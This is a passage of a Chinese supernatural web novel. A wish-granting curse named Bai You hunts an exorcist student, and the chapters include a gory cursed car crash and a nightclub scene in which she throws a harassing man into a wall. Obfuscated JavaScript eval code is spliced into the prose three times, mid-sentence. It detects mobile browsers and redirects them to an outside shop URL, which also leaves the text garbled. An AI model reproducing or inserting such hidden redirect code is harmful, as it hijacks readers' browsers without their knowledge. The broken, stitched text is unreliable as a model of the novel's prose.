她只能听到人类说话的声音,而人声传不上几百米的天空塔顶。 所以白幽很喜欢这里,非常安静。她从苏醒以来就一直很喜欢在各种高高的地方坐上一整天,看着天幕由明转暗,再由暗转明;或者窝在哪个角落睡觉,直到某个强烈的声音将她唤醒。 每个人都有愿望,藏在他们的内心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“……” 白幽轻哂:“这是沈天合自己疯了的原因吧?难道你会这样?” “我不知道。”周少麟淡淡地说,“我只是惊奇于还踩着上一个许愿者的遗骨就能立刻让下一个人许愿。你是真的不在乎许愿的结果啊,白幽。” 周少麟的语气总是平静甚至冷漠的,平铺直叙,听不出任何感情。但这句话轻薄而锋利,带着寒芒,仿佛就是要刺进某个人的心底。 “……” 白幽的声音冷了几度:“结果和我又有什么关系呢?如果是自己内心的愿望,自己做出的选择,那就应该自己承担代价。” “……还是说,你也觉得是我的错?怎么,你是人类,要拿人类那套道德标准来审判我吗?” “不。”周少麟静静地说,“你说得对。归根结底,这都是人类自己做出的选择,至少在这件事上,没人有资格审判你。” 沈天合,舒涵,沈月,他们的结局都与你无关。因为你只是回应了那个愿望,因为这就是你的本能,你为此而诞生。 ……你只是起因,人们自己走向了终点。 “我理解你的生存之道,也无意批判指责。” 龙雀划过一道赤红的弧光,重新化作颈上的黑环。周少麟收起了刀。 “但如你所言,我是人类,只能也只会站在人类的立场上思考问题。” “那些向你许愿的人确实是自食其果,也许没有你,他们同样会以悲剧收场。” “……正因人类是如此的反复无常、充满欲望,所以,你的存在对我们才是诅咒。” “我不会向你许愿的,也不会借助你的力量。息壤的侵蚀我早就清楚,我为自己的选择承担结果,不需要改变什么。” “除此之外,你有自由生存的权利,我有清理威胁的职责。” “所以别再出现在我面前了,白幽。” 熔金的瞳中仿佛有岩浆在流淌,少年的声音清晰而寒冷: “——我会杀死你。每一次。” * 唯一一个必须要许愿的人,拒绝了她给予的愿望。 三百米的天空塔顶,素白的女孩忽然笑了起来。笑声清脆,越笑越开怀,眼泪都要笑出来了,简直是乐不可支。 真是的,实在是太好玩了。为什么之前总是在睡觉呢?人类世界明明这么多有意思的事情啊! “好啊,来吧。” 不死的诅咒仰起脸,对着幽深的天穹伸出手,五指张开。月光漏过她的指缝照下,那张白瓷般的脸上的笑容越来越诡谲灿烂: “——我,很,期,待!” 26.因缘再会(0) “下面播报一则新闻:今日上午8时46分,我市东城区平岗路段发生一起车祸,由于轿车临时变道相撞,五人全部当场死亡。” “近日,东城区车祸频发,请各位车主小心驾驶,道路千万条,安全第一条……” 车上的广播正在放着早间新闻,孙画把音量调低两档,把手机贴到耳边: “喂,小图,你刚刚说什么了?路上怪吵的,姐姐没听清。” “你新铺子要开张了?哈哈哈,好事儿啊!没问题,开张第一天我肯定过来!哎哟,还要我剪彩呢?” 孙画笑着说:“可以,当然可以。周末我有空啊,我再多带几个朋友来给你捧场,肯定热闹!” “哎,跟你姐说什么谢呢。好,后天见!” 孙画放下手机,欣慰地跟驾驶座上的丈夫说:“小图说他的店张罗好了,邀请我们这周日去剪彩。” “这么快?”章浩一打方向盘,转过路口,“几个月前不还一团糟吗,合伙人跑了,货也没着落,愁得一把鼻涕一把泪的,这会儿就办起来了?” 孙画拍了他一下:“说话怎么这么刻薄。” “小图他对这事儿也很上心了,这几个月忙得脚不沾地,总来问我的主意。现在终于有起色了,我这个做姐姐的当然得盼着他点好。” “是,现在当然比之前好……”章浩嘟囔着说,“我就是觉得你对他的事太上心了……孙图都快三十的人了,还事事都要找你。不可能总这样的,我们也帮衬得够多了。” “……” 孙画默了半晌,叹了口气,“你知道的,阿浩。我父母去得早,小图十四岁起就是我养着了。长姐如母,我是他在世上唯一的亲人,不可能不管的。” “而且,小图跟我们家不一直挺亲的吗?他事业做起来后,肯定也会帮我们啊。” 她转过头看向后座:“看,他还给奇奇买了个那么大的玩偶呢!是不是呀,奇奇,舅舅是不是对你特别好?” 半人高的大熊娃娃坐在后排,脖子上打着蓝色的领结。 圆头圆脑的小男孩靠在大熊柔软的怀抱里,眼睛亮闪闪地大喊:“超级超级好!” 他趴在副驾驶座的靠背上,小小声地在孙画耳畔说: “妈妈,等会儿到了游乐园我也要带着波奇。我们一起坐旋转木马,玩碰碰车,还要看烟花,你给我们拍照哦!” 孙画笑着摸摸他的脸:“波奇那么重,带着很累哦?” 奇奇想也不想:“可以让爸爸拿嘛!” 章浩震惊:“爸爸就不会累吗?!” 一家三口笑闹起来,气氛轻松而欢快。 忽然,章浩看向孙画的左手:“这条手链你还戴着呢?” 她的手腕上环着一条精巧的手链,红绳将数十个五彩斑斓的小石子串在一起,中间是一颗剔透的宝石,里面悬着一片鲜红的花瓣。 “你说这个?”孙画抬起手腕看了看,“哦,也是小图送的。听说是进货的时候搞来的非卖品,挺稀有。” “不觉得很漂亮吗?”她端详着色彩秾丽的手链,目光似乎也被鲜红的花瓣晕染开来: “……我是越戴越喜欢,一点也不想摘下来。” 章浩将视线投去:“有那么夸张吗……” 他骤然瞪大了眼睛。 孙画仍然在欣赏自己的手链。她的目光像是被那颗鲜红的宝石给牢牢吸附住了,眼睛一眨不眨地凝视着它。 带刺的藤蔓从她的手臂中钻出来,刺破皮肉,一圈一圈地向上缠绕,细小的鲜血溅在软皮座椅上。 这违背常理的一幕撞进章浩的视野里,他瞠目结舌:“你、你怎么……” “漂亮吧……” 藤蔓已经缠上了孙画的脖颈,她缓缓将头转向他,一朵鲜艳欲滴的玫瑰正在她左脸颊上绽放,舒展每一片血色的花瓣。 孙画咧开嘴笑起来:“不漂亮吗?” 战栗感从脊柱直飚天灵盖,章浩控制不住地惨叫起来,握着方向盘的手向左边转去。失去平衡的轿车冲出栏杆,迎面撞上了一辆疾驰的大货车! “——轰!!” 轿车在相撞的瞬间迅速扭曲、变形,章浩的脊椎和腿骨咔嚓一声折断。孙画的头重重撞在挡风玻璃上,整个脑袋如同碎掉的西瓜一样炸开,溅起红白的果肉! 车身在恐怖的撞击中分崩离析。 破烂扭曲的车门半张开,一只玩偶熊的手臂掉下来,表面的绒毛浸透了新鲜的血迹。 * 漆黑的浓烟滚滚飘起,越来越多的人聚了上去,远远地围了一圈。 “又一出车祸……” “我看到了,是那辆小车变道了……我靠,车主发疯吗?” “还看热闹?!快叫救护车啊!” 汽油味、烧焦味、血腥味,混乱地交织在一起。马路上的车辆横七竖八地被拦在了后面,泄露的燃油在沥青路面上流淌。 血肉模糊的尸体卡在车窗处,身上插着破碎的挡风玻璃。 有人在求救,有人在尖叫,人群越来越吵闹。 “——喂,那边的女生!别靠那么近!” 人潮中有谁着急地扯着嗓子大喊:“漏油车可能会二次起火,很危险的!” 燃烧的车辆残骸前,站着一个素白的女孩。 银发,黑裙,她静静地伫立在不远处,眼中倒映出一地狼藉与血腥。 女孩似乎没想到会有人喊自己,愣了一下,随即听话地往后退了几步:“哦哦,危险吗?” 一个热心的大婶看不下去了,火急火燎地冲上前,拽住她的胳膊往外拉:“小妹妹,你啷个不晓得怕噻!” “这种热闹也敢凑,还不赶紧站远点,等警察来嘛!” “警察?”女孩歪了歪头,像是在回忆这个词的含义,想起来后扑哧笑出了声: “什么呀,警察处理不了这个的。要是过来了,让他们直接找管理局啦!” 在几束不解的目光中,她转身走向外围,不再去看那个惨烈的车祸现场。 “哎,竟然会一出门就遇上同类。” 女孩的语气随意而轻淡,“世界,果然充满了意想不到啊。” * 入夜的商业街游人如织,灯光五彩斑斓,照亮两侧的各色店铺。 白幽蹦跳着走在街上,一路左顾右盼,心情颇好。 这是她回到人类世界的第一天。 被搭话的感觉很奇妙,因为正常人本来应该根本看不到白幽。死灵对大部分人来说既不可见也不可触,完全是另一个维度的存在。 白幽可以被看到,是因为她正处于“凝形”状态。 【凝形】,即灵体以实体形态现身,本质上是力量强大到一定程度的体现。可以选择直接展露本相,也可以选择拟造出正常人类的姿态,行走于世间。 当然,比起前者,后者的要求显然就要高上很多。凝形拟人是一件非常精细的事,只有极少一部分神智清晰的诅咒才能这样伪装自己,毕竟死都死了,想看上去活着也不容易。 死物拟人的水平参差不齐,拙劣的一眼就会被除魔师看穿,更拙劣一点的还可能弄出八根手指三个眼睛,连普通人看了都会出现恐怖谷效应。 但是,那不包括白幽。 如果拟人是一门课程,白幽毫无疑问会拿满分。 在凝形状态下,她的容貌与真人完全别无二致。不要说普通人,即使是修为高深或专精瞳术的除魔师,都未必能看穿她的非人身份。 要和人类打交道,还是这样更方便呀! 虽然之前在黑匣子里休眠了好几年,但既然现在目标已经出现,白幽当然就不能再懒懒散散地睡大觉。她要重拾自己成为怪谈的初心,找到那个人类,让他把三个愿望许了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17340279|196465||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>女孩走到一个位置,停下来,闭上眼睛。 【基础咒术·感知】。 无形的涟漪从她身周扩散开去,穿过往来人群,带回海潮般的声音。 瞬间涌入的巨量信息像是一记重锤,狠狠地砸进脑海里,白幽眉间骤然一蹙:“啧!” ……真疼。 在人多的地方开启感知就这个不好,无数人混乱的心声一瞬间涌入识海里,简直头痛欲裂。 但如果不这样,又无法感知那个人的所在。 那个时候,他似乎有些诧异于她会选择离开,而没有继续纠缠下去。周少麟可能把那当成某种放弃的表态,但白幽其实只是觉得无所谓,没必要急这一时。 反正只要见过,之后永远都能感知到。 那是从苏醒的一刻起就回荡在脑海中的直觉。不是声音,不是气息,只是一种冥冥的感应,仿佛早已存在的引线。 ……诅咒与生俱来的引线。 白幽揉揉太阳穴,睁开眼睛。 根据感知,那个人应该就在这一带。但更具体的地方就无法确定了,只能自己慢慢找。 白幽:“……” 烦呐,怎么睡完五年,归来还是找人! 要一个地方一个地方找过去效率也太低了,她决定先从最可能的地方找起。 但人类她不熟,地方她也不熟。 嗯,还是先问个路吧。 * 夜幕降临,华灯初上。小卖部营业的灯牌闪烁着,前台桌上摆着一罐方便面,老板娘专心致志看着电脑屏幕,手指飞速敲击着键盘,播放器发出biubiu的音效。 她正在攻克倒数第二关的boss,这个时间正合适。店里一般没什么顾客,就算是有顾客,老板娘也能一心二用地接待。 一个纤细的身影忽然闪现在门口,伴随着清脆的提问:“您好!” “——请问一下,附近二十岁左右的男性最多的地方在哪里?” “……”敲击键盘的手顿住,老板娘缓缓抬起头:“什么?” 银发黑裙的女孩站在柜台前,礼貌地弯腰致意:“打扰啦,我想找二十岁左右的男性的聚集地!” 她想了想,补充道:“哦,二十多岁的应该也可以。” 老板娘:“……” 作为商业街的小店,来问路的人向来是不少的,没有任何一个正常的店老板会问顾客理由。 但这个要求实在太不正常了,她没忍住:“……你是要?” “很显然,我是要找一个二十岁左右的男性。”女孩自然地回答,“但二十多的也有可能,我还不确定。” “……” 也许是她年纪太大跟不上时代了,也许是这个女孩的思想比较开放直接。老板娘努力消化这简单粗暴的信息,试探道: “意思是……你要找一个年轻男人?” 白幽欣然点头:“没错。” 她的逻辑明确且清晰。 感知显示那个人就在附近,同时他是一个年轻男性,那么最有可能找到他的地方就是年轻男性的聚集地。 虽然更准确的特征其实是年轻的男性除魔师,但除魔师说了别人也听不懂,就简单省略一下吧! “呃,你,你这个……”老板娘神情看起来颇为复杂, “好吧,你应该也成年了……真想玩的话,我推荐那个后街酒馆。就顺着这条街走到头,附近的大学生经常在那里聚会。年轻男生……挺多的吧。” 白幽指向前方:“是那里吗?” “嗯,对。” “好的。”她笑起来,“谢谢您!” 女孩推开店门,欢快地向前走去。 老板娘注视着那个远去的背影,匪夷所思地喃喃:“一个人去夜店这么开心,也不像是受了情伤啊?” 随便了……成年人找乐子,应该知道分寸吧? 27.因缘再会(1) 劲爆的音乐声震耳欲聋,五光十色的镭射灯在舞池里扫来扫去,照在中央的男男女女身上。 门口的招牌被彩灯簇拥着,组成几个大字: “后街酒馆——邂逅你的命定之人”。 这是商业街最大的酒馆,每到晚上都会成为狂欢的聚会厅。 一楼是舞池和酒吧,二三楼是豪华KTV包厢。衣着时髦的年轻人三三两两地围在一起,高声调笑,摇晃的酒杯里闪烁着迷幻的光泽。 酒馆的顾客都是来寻欢作乐的,大多成群结伴。偶有几个落单的,也会很快被欢腾的氛围挟裹,在搭讪下加入某个酒桌。 笙歌曼舞,人人笑闹。 白幽独自坐在被光影切割开的角落里,看着不远处的人群。她的目光在灯与酒的海洋中沉浮,像是一滴融不进去的水银。 这里太吵了,她还是有点不适应。 虽然成为怪谈的目标是找到许愿的人,但平心而论,白幽的大部分时间还是用在了发呆和睡觉上。除了一开始有稍微认真点听愿望和打探消息,之后都是看心情选对象,没事的时候就睡觉,大睡特睡,管外边的人类怎么吵。 进到黑匣子里后,那更是连愿望都不听了,直接蜷起来继续睡觉睡觉睡觉。 她睡了五年,对现在的人间委实没什么认知。 ……原来现在的年轻男性喜欢聚集在这种地方啊,那个冷淡的除魔师也会吗? 唉,来都来了,他最好是会。 幽蓝的眼睛巡视着往来人群,一楼都看过一遍了,不在这里。 但她对这里的感知却异常强烈,总觉得待下去能找到人。 既然不在一楼,那就上二三楼找找吧。 白幽刚站起身,一个高大的身影就挡住了她的视线。 “美女,看你一个人在这坐好久了,心里有事啊?” 一个穿着皮衣、挑染黄发的青年端着酒杯,笑嘻嘻地对她晃了晃: “我请客,喝两杯,一起聊聊?” 黄发青年的家境显然十分优渥,一身价值不菲的潮牌,轻佻的笑容中全是金钱的自信。右手戴着块明晃晃的金手表,几串手链丁零当啷地挂在上面。 他旁边还站着个年轻的女孩,穿着短裙,五官妍丽,妆容精致。听到这句话扯了扯他的袖子,小声道:“阿凯,今晚我们不是要……” “哎,难得遇到呢!”冯凯不耐烦地拍开她的手,依然目不转睛地看着面前的白幽,眼神中是毫不遮掩的迷恋。 “美女,来嘛,认识一下?” 冯凯,家里有矿的富二代,远近闻名的花花公子。 他是酒馆的常客,每次来都要找几个漂亮女孩陪酒。天南地北什么清纯的妖艳的知性的他都见过一打了,但没一个够得上眼前的。 ——这种级别的美女,不抓住机会搭讪,绝对是过这村没那店! 这样的女孩竟然会一个人坐在角落里,也没有人来跟她搭讪……那些人的眼睛难道都是瞎的吗? 冯凯懒得想这背后的原因,又把酒杯往白幽面前凑了凑,嬉笑道: “看你也是生面孔,是不是第一天来啊?我可是这儿的常客,你去打听打听冯少就知道了。哥难得请客,美女可别不给面子啊!” 斑驳的光影中,白幽静静地看着他,幽蓝的眸子如同琉璃。 被这样一双眼睛注视着,冯凯的心脏不由砰砰直跳,连握酒杯的手都有点颤抖起来。某处的神经隐隐抽动着,像是被蟒蛇勒住了喉咙,有种缺氧窒息般的刺激。 万花丛中过了几百回,他从来没有过这种感觉。一定是因为这个女孩太特别了。没错,就算她拒绝,他也绝对要…… “好呀。”白幽点头,“刚好我也要上楼,你请客,我们走吧!” 她挽起冯凯身旁女孩的手,蹦蹦跳跳地向楼上走去,向前台的侍应生招手打招呼:“您好!麻烦开个最大的包厢~” 正准备霸王硬上弓的冯凯:“……” 冯凯:? * 二楼的十人包厢宽敞整洁,从电视、卡拉ok到游戏机都一应俱全,天花板上装着炫彩灯光,向四周散射。 “这个、这个还有这个,低于五十的小吃不要。” 白幽在菜单上一通勾画,笑着递给服务生:“其他的每个来一份,奶茶加冰,谢谢您!” “……”服务生瞟了眼冯凯的脸色,小心翼翼地说:“点这么多会不会吃不完啊,小姐。” 白幽露出谴责的眼神:“吃不完就留给冯少呀,他买的单耶。” 服务生:“……” 冯凯:“……” 忍了。 “没事,你想点多少就点多少,哥有的是钱!”他强笑着拍拍自己旁边的空位,“来,我们坐近点聊,要不要先点个歌一起唱?” 反正就几千万把块钱而已。既然这个女孩已经进包厢了,他想做什么都有机会。她竟然敢狮子大开口敲这个竹杠,也该上道一点才对。 但白幽像是没听到这句话。她看着电视屏幕,好奇地:“这是在放什么?” 电视播的是服务生刚刚开机时随手打开的频道,冯凯瞥了眼,嗤笑一声:“动画片。” 白幽眨了眨眼睛:“讲什么的?” 冯凯挠挠头。他怎么知道,他只喜欢体育和军事频道。偶尔才看一两部欧洲文艺片解析,主要是为了跟女生展现自己渊博的学识和寂寞的情怀。 但有人回答了这个问题: “……讲一个炼金术很发达的世界,炼金必须要遵守‘等价交换’的法则。” “要获得什么东西,需要以同等的代价交换,否则自己的一部分也会作为代价的填补而被拿走。 “有一对很擅长炼金术的兄弟,因为思念去世的母亲,进行了禁忌的人体炼成。 “但他们失败了,召唤出的母亲只是怪物。由于炼成的反噬,弟弟失去了全身,哥哥失去了左脚。 “为了挽回弟弟的生命,哥哥用右手作为交换,把弟弟的灵魂固定在一具盔甲上。但此后弟弟再也无法作为普通人生活,哥哥也只留下了一手一脚。于是,为了挽回犯下的错误,两兄弟开启了找回他们身体的旅程。” 坐在沙发边缘的女孩轻声细语地回答:“一部日本动漫,很有名的。” “哟,原来小雅这么熟啊!”冯凯痞笑着吹了个口哨,“多大人了,还喜欢看动画?” 被称为小雅的女孩局促地笑了笑,低下头。 从走进包厢以来,她似乎就一直不太适应。偶尔瞥向白幽,目光中带着几分隐约的忧虑和担心。 冯凯不想继续这个话题,正打算走过去把电视关掉,白幽却忽然开口道:“原来现在的故事都这么写实啊。” “他们失败了,对吗?” 白幽看向女孩,神色很认真:“我是说,他们后来应该没有成功换回身体吧?” “……”女孩一愣,轻轻摇头,“肯定成功了啊,长篇故事一般都会圆满结局的。” “但这怎么可能呢?”白幽深深蹙眉,“已经发生过的交易是绝对无法取缔的,给出的代价也不可能收回。” 她好像忽然有点生气了,一把抄起遥控器:“我倒要看看人类编了些什么东西!” 白幽关掉自动放歌的卡拉ok,关掉自动开机的游戏机,把动漫调到第一集,抱着两个枕头团进沙发中间,开始专心致志地看电视。 幽暗的包厢里顿时只剩下清晰的动画音效,和三张被灯光照亮的脸。 女孩:“……” 冯凯:“……” 什么展开? 但白幽似乎完全不觉得有什么不对。她的心思已经全转移到动漫上了,等服务生把小吃和奶茶端进来之后,就开始一边吃一边看。 吃完马卡龙吃蛋挞,吃完蛋挞吃炸鱼,一集播完下一集。 两集过去,冯凯坐不住了。 ——妈的一点调情都没有,真就是在看动画啊!! 这个漂亮得不似真人的女孩全身上下都透着奇怪,好像读不懂一点氛围和潜台词。像她这么大的女生怎么都谈好几个男朋友了,肯定也来过夜店,难道真以为自己是单纯请她来玩的吗? ……该不会精神有问题吧? 冯凯一边在心里犯嘀咕,一边又有点兴奋起来。 如果她真的是个不懂事的傻子……那他不是更捡到宝了吗? “美女。”他扭到和白幽几乎挨着坐的位置,观察她的表情,“光看是不是有点无聊……” 白幽没反应:“不会呀。” 屏幕的荧光勾勒出她毫无瑕疵的侧脸,在昏暗的包厢里,女孩柔软的银发流淌着淡淡的辉光。 白幽身上似乎总是萦绕着一种素冷的气息,连带周围的气温都低了几度。 血液倒流的刺激感冲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17352172|196465||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 击着头皮,冯凯越发心痒难耐,不动声色地伸出手去搂她的肩膀: “你知道吗,其实我一直很喜欢这种两个人看电影的氛围,感觉很浪漫……” “知道啦。”白幽拍开他的手,“别烦。” 在接触的瞬间,冰凉的触感从手背淬进手骨,冯凯猛地一抖,像是被抽了一记鞭子。 他有些错愕地看向一旁的白幽,她还在目不转睛地在看电视,一点余光都没分给自己。 “……”冯凯不由无名火起了,“妈的,给你脸了是吧?” 本就所剩无几的耐心随着手上传来的刺痛消磨殆尽,他实在懒得再哄这个不识好歹的女孩了,直接抬脚踹翻了案几! 沉重的木桌砰的砸出一声巨响,连坐他旁边的小雅都被吓了一大跳。 “阿凯!” 她紧张地意识到了将要发生什么,飞快站起来,哀求般拉住冯凯的手,试图阻止这场倾泻的暴力: “算了,算了!别跟她计较,我们——” “滚开!”冯凯暴怒地甩开她,恶狠狠地瞪着白幽: “没眼力见的,哄哄你还真以为自己多了不起了是吧?告诉你,老子家里三个上市公司,上哪都是一堆女的赶着倒贴!装什么清纯,连抱一下都不给,真当陪你来看动画片的啊?” 他冷笑着举起拳头:“又当又立的×子,我今天就揍到你……” “砰——!” 无形的寒流迎面卷来,冯凯呼吸一窒,整个人不受控制地倒飞出去,在空中翻滚一圈,头朝下地重重砸在墙壁上! 白幽依然一动不动地坐在沙发中央,冷冷地撩起眼:“都说了别烦。” “——吵死了!” * 空旷的包厢陷入了死一样的寂静。 案几侧翻,五花八门的点心撒落一地。冯凯像个被翻过来的花盆,四肢瘫软、头朝下地栽倒在地,猩红的血泊一点点在他脑后蔓延开来。 惊变发生得太快了,从冯凯毫无征兆地暴跳而起,到他变成一块不会动的死肉,甚至没有过去十秒。 女孩的手还僵硬地悬在空中,维持着阻拦他的姿势。人在身前飞过去的声音像风。 “……” 许久之后,她才缓缓扭过头,投注而来的目光近乎惊悚。 白幽若无其事地拿起遥控器,把进度往前调了一点。 屏幕的荧光照亮了她素白的脸,脸上的表情没有一丝变化。 ……她竟然,还在看动画? 女孩胆战心惊地观察着这个诡异的少女,只觉得毛骨悚然。 确认她一点也没有多管自己的意思,女孩深吸一口气,小心翼翼地拿起包,放轻脚步向门口挪去。 “等等。”幽冷的声音从背后传来,女孩顿时打了个激灵! 白幽指着电视:“为什么忽然不能播了呀?” 只见屏幕上跳出一个大大的广告框:“三集试阅已经结束,购买会员畅享全部内容!” 女孩:“……” “剩下的,要买会员才能看。”她谨慎地回答。 白幽眨了眨眼:“要怎么买呀?可以教教我吗?” 似乎是担心不顺着她也会被掀到墙上,女孩小心地拿出手机:“我帮你弄吧……” 她扫码付款一气呵成,给KTV的公用电视号氪了一个月会员后,重新按下播放键,画面很快又流畅地动了起来。 “好诶!”白幽神色欣喜,“谢谢你!” 她抱起枕头靠回沙发上,继续兴致勃勃地看动漫。 倒在血泊里的冯凯还生死不知,满地的狼藉也无人在意。甜腻到腐烂的味道散布在空气里,缠绕着一丝若有若无的血腥。 但这些在白幽的感知里似乎都不存在,她只是安静专注地看着电视屏幕,认真地好奇着某个虚构故事的发展。 冷戾与天真在她身上毫无缝隙地交洽,让人想到孩童撕下鸣蝉翅膀时的笑容,有种不谙世事的残忍。 “……” 女孩的目光闪烁了一下,强颜欢笑道:“那……我就先走了?” “可以呀。”白幽点点头,又漫不经心道,“啊,对了。你帮了我的忙,需要我报答你吗?” 女孩一愣。 “我可以根据等价交换的法则,实现人类的愿望。”白幽仰起脸,粲然一笑: “姐姐,你有愿望想要实现的吧?” 28.因缘再会(2) 包厢里一片混乱,动漫被按下了暂停键,定格在某个画面。 “实现……愿望?” 女孩的瞳孔轻微收缩了一下,像是茫然,又像是恐惧。她慢慢后退两步,颤抖地摇了摇头: “对不起,请别跟我开玩笑了……我、我要走了!” 名叫小雅的女孩把挎包搂在怀里,迅速跑了出去,临行前砰的把门反锁带上。 偌大的包厢里只剩下了白幽一个人。 “嗯……”她把脸埋进柔软的枕头里,“又是个怕我的呢。” 但是,真奇怪。心声这么强烈,竟然毫不犹豫地拒绝了她。 在白幽的感知里,强烈的愿望就像是扭曲的水面,不需要特地看也能发现。白幽更习惯与这类人做交易,他们中的绝大部分也更容易被她的天赋所吸引。 不过现在看来,这个女孩并非其中之一。 ——随便啦,不要就不要吧! 白幽迅速地把这事丢到了脑后。现在沙发上只有她了,她决定换个更舒服的姿势。于是侧躺下来,脑袋垫着一个枕头,怀里抱着一个枕头,继续开开心心地看动画。 刚躺好,肩膀就被硌了一下。 白幽皱着眉从沙发角捡起一个四四方方的硬卡片,在黑暗中看清了上面的字迹。 【京海大学艺术学院·2022级·程雅】 “京海大学……?”她轻声念出来。 “哦,还是个学生呀。” * 京海大学,三年级,C栋男生宿舍327。 灯管闪烁,树影婆娑。晚上九点,平静的校园正在酝酿一场狂风暴雨的斗争。 孟步凡冷笑连连,文白夹杂地表示内心的郁愤:“同窗三年,相识五载。本以为我们情比金坚,不曾想只是一厢情愿。今日你若弃我们于危难,他日休怪我们不讲情面!” 盛时乐眼含热泪,用莎翁咏叹调进行激烈控诉:“天使的模样!魔鬼的心肠!默然忍受学习的枯燥,相比挺身守护同伴的灵魂,难道更高贵?恶毒啊,你的名字是男人!” “……” 周少麟拿着笔记本电脑,沉默地看向一左一右拦在门口的两人: “……可我只是想下楼自习,因为你们要在宿舍看恐怖电影。” “你怎么能毫无负担地说出这么冷酷的话?!” 孟步凡强烈谴责:“你一走了之,我和乐乐就是吓死在宿舍里,都没有人给我们叫救护车!” 周少麟给出解决方案:“那么我每半小时打一次电话确认你们的安危。” “你是说要在看恐怖片的时候给我们打电话吗?!” 盛时乐不敢置信:“漆黑的!密闭空间里的!手机铃声!我们就是安!也会被吓得转安为危!” “……” 周少麟:“所以这么害怕为什么要看。” 还拉窗帘关灯锁门,沉浸式享受3D立体影音设备。 孟步凡神情坚毅:“为了追求刺激!” “那就贯彻到底。” “做不到……” “那放弃。” “我不要……” “……” 十分钟的拉扯之后,立体影音设备开机。 漆黑一片的宿舍里,周少麟面无表情地坐在中间正对屏幕,孟步凡强作镇定地裹着被子靠在他左边,盛时乐瑟瑟发抖地抱着枕头缩在他右边。 音效响起,厉鬼爬出,二人尖叫,此起彼伏。 普通男大的平凡一夜。 * 次日,中午十二点半。 周少麟结束了早上的学习,合上电脑:“我去吃饭。要不要给你们带?” “我点了……”因恐怖片失眠到天亮的孟步凡窝在被子里,气若游丝,“帮我拿外卖……” “没胃口……”盛时乐死尸一般直挺挺地躺在床上,双眼通红,“我不吃……” “好。”周少麟站起身,准备出门。 就在这时,门吱呀一声开了。 齐璟站在门口跟他正打照面,惊了一下:“小周出去啊。” 他看着比往常安静许多的宿舍,不由放低了声音:“孟公子和乐乐还没起床吗?” “醒了,可能不想起。”周少麟说,“昨晚看恐怖片吓到了。” “我没有!我超勇!”盛时乐挺身维护自己的名誉,“我就是不想吃饭而已!” “空腹不好。我买了面包和八宝粥,你等会儿下来吃吧。”齐璟把罐头和一袋面包放在盛时乐桌子上,温和劝告。 盛时乐顿时热泪盈眶:“齐书记……我的亲妈……” “……”齐璟:“并不是。” “你当然不是!”孟步凡抓住机会就重拳出击,“我孟公子一世英名,怎会有你这种夜不归宿水性杨花的妻子?应酬应酬,你整天就知道应酬!一天天的在外面鬼混,置我们孤儿鳏夫于何地?!” 齐璟:“……” 齐璟冷笑:“你以为我为什么这么辛苦?还不是为了这个家吗!乐乐的话剧社演出是谁在给他审批?迟交作业的时候是谁在给你延期?你根本没有看到过我的付出!” 盛时乐大喊:“都不要吵了!家和万事兴!” …… 327宿舍又开始上演一轮新戏,本次主题是家庭伦理。在被卷入纷争成为盛时乐同父异母的兄弟或者齐璟在外有染的对象之前,周少麟推门而出,撤离战场。 在大学前,周少麟对集体生活都没什么概念,亲身体验之后才知道是如此的……不拘一格。 当然,并不是每个宿舍都像他们这样。放眼整个京海大学,327奇人荟萃的程度也可谓壮观。 首先是盛时乐,主要是盛时乐。 ——他,盛时乐,有一个梦想,那就是成为话剧导演。 这个梦想开始得很随便,发展起来却很激烈。 刚考上大学的时候,盛时乐出于儿时兴趣和一些过去的积累加入了话剧社。 本来只是想玩玩,却恰逢社团青黄不接即将倒闭。他作为新人临危受命成为代理社长,稀里糊涂地被推着做完了联系老师组织活动编排训练的全流程。不仅没有被pua到退出,反而发现了自己真正的爱好,从此开始向艺术家转型,立志成为伟大的话剧导演。 对于话剧社这个梦开始的地方,盛时乐倾注心血、勇挑大梁。努力举办一系列活动,积极报名各类比赛,用心画饼,用爱践行,终于把半死不活的社团拉扯出了个样子,在学校里小有名气。 这份热情也感染了周围,比如宿舍其他三人,全被他一网打尽、拉入充数。 孟步凡是平平无奇家财万贯的富二代,人称孟公子。他表示除了钱我什么都给不了你,于是负责拉赞助。 齐璟是社联的负责人,人称齐书记。他平时和学校各部门都很熟络,还是很多专业课的课代表,于是帮忙过审批。 周少麟是其中最低调的,除了评奖学金外基本没人听过他的名字。但盛时乐觉得这么低调简直太浪费了,于是把他高调地印在了宣传册上,用脸给话剧社招新。 尽管性格迥异、爱好不同,但四个人都在一个社团,还是大大丰富了共同话题。甚至从话题延伸到了生活,随时随地即兴上演家庭伦理/恐怖悬疑/青春校园/武打动作等等题材的好剧。 孟步凡还为宿舍添置了一台3D家庭影院,美其名曰陶冶情操。 一周两播,哪里都好,就是放恐怖片的时候有点废嗓子。 等到周少麟把外卖拿回来,孟步凡才懒洋洋地爬下床开始扒饭。盛时乐干脆坐在床边吃齐璟给的面包,中间对昨晚恐怖片的光影特效大肆评论,和孟步凡就谁叫得更大声争论不休。 午休结束,下午五六节有课。这个教授每节课都点名,就算是孟步凡和盛时乐也不敢翘掉,奄奄一息地顶着太阳出门。 临行之际,周少麟收到了一条新信息。 